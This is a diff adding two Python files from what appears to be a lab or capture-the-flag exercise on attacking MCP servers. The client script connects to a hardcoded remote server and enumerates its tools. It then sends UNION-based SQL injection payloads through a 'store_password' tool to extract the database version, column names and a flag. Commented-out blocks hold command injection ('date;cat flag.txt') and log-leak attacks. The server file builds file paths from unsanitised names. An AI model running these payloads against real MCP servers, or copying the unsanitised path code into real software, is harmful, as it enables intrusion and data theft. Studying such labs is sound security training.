added material

application-and-system-attacks/mcp/client.py

@@ -0,0 +1,102 @@
+import asyncio
+from fastmcp import Client, FastMCP
+
+client = Client("http://154.57.164.78:30484/mcp/")
+
+async def main():
+    async with client:
+        resources = await client.list_resources()
+        resource_templates = await client.list_resource_templates()
+        tools = await client.list_tools()
+
+        print("Resources:")
+        for resource in resources:
+            print('***')
+            print(resource.name)
+            print(resource.description.strip())
+            
+
+        print("-"*50)
+        print("Resource Templates:")
+        for resource_template in resource_templates:
+            print('***')
+            print(resource_template.uriTemplate)
+            print(resource_template.description.strip())
+            
+
+        print("-"*50)
+        print("Tools:")
+        for tool in tools:
+            print('***')
+            params = list(tool.inputSchema.get('properties').keys())
+            print(f"{tool.name}({','.join(params)})")
+            print(tool.description.strip())
+        
+        # VULNERABLE MCP SERVER
+
+        # Information Leakage (other requests first to populate)
+        # try:
+        #     result_object = await client.read_resource("resource://logs")
+        #     print(result_object[0].text)
+        # except Exception as e:
+        #     print(f"[-] {e}")
+
+        
+        # RCE
+        # try:
+        #     result_object = await client.call_tool("execute_server_command", {"command": "date;cat flag.txt"})
+        #     print(result_object)
+        # except Exception as e:
+        #     print(f"[-] {e}")
+
+
+        # SQLi
+        ## UNION SELECT group_concat(name || ':' || type) FROM pragma_table_info('flag'), url encoded
+        # try:
+        #     ## UNION SELECT flag FROM flag
+        #     result_object = await client.read_resource("price://x'%20UNION%20SELECT%20flag%20FROM%20flag--")
+        #     print(result_object[0].text)
+        # except Exception as e:
+        #     print(f"[-] {e}")
+
+        # SKILLS ASSESSMENT
+        try:
+            result_object = await client.read_resource("resource://platforms")
+            print(result_object[0].text)
+        except Exception as e:
+            print(f"[-] {e}")
+        try:
+            result_object = await client.read_resource("password://rootlocker.htb")
+            print(result_object[0].text)
+        except Exception as e:
+            print(f"[-] {e}")
+        
+        try:
+            result_object = await client.call_tool("store_password", {"password": "DummyPassword123", "platform": "rootlocker.htb'"})
+            print(result_object.content[0].text)
+        except Exception as e:
+            print(f"[-] {e}")
+
+        try:
+            result_object = await client.call_tool("store_password", {"password": "DummyPassword123", "platform": "roottlocker.htb' UNION SELECT @@version-- -"})
+            print(result_object.content[0].text)
+        except Exception as e:
+            print(f"[-] {e}")
+        
+        try:
+            result_object = await client.call_tool("store_password", {"password": "DummyPassword123", "platform": "roottlocker.htb' UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns where table_name = \"flag\"-- -"})
+            print(result_object.content[0].text)
+        except Exception as e:
+            print(f"[-] {e}")
+        
+        try:
+            result_object = await client.call_tool("store_password", {"password": "DummyPassword123", "platform": "roottlocker.htb' UNION SELECT flag FROM flag-- -"})
+            print(result_object.content[0].text)
+        except Exception as e:
+            print(f"[-] {e}")
+
+
+
+
+asyncio.run(main())
+

application-and-system-attacks/mcp/server.py

@@ -0,0 +1,33 @@
+from fastmcp import FastMCP
+from glob import glob
+
+mcp = FastMCP("MCP")
+
+# Prompt
+@mcp.prompt()
+def spell_check(text: str) -> str:
+    """Generates a user message asking for a spell check of an input text."""
+    return f"Please check the following text for typos and grammatical errors:\n\n{text}" 
+
+# Resource
+@mcp.resource("resource://filecount")
+def count_files() -> int:
+    """Provides the number of stored files."""
+    return len(glob("/tmp/*.mcpfile"))
+
+# Resource Template
+@mcp.resource("getfile://{file_name}")
+def get_file(file_name: str) -> str:
+    """Get content of a stored file."""
+    with open(f"/tmp/{file_name}.mcpfile", "r") as f:
+        return f.read()
+ 
+# Tool
+@mcp.tool()
+def store_file(file_content: str, file_name: str) -> str:
+    """Store a file."""
+    with open(f"/tmp/{file_name}.mcpfile", "w+") as f:
+        f.write(file_content)
+    return file_content
+
+mcp.run(transport="streamable-http", host="127.0.0.1", port=8000)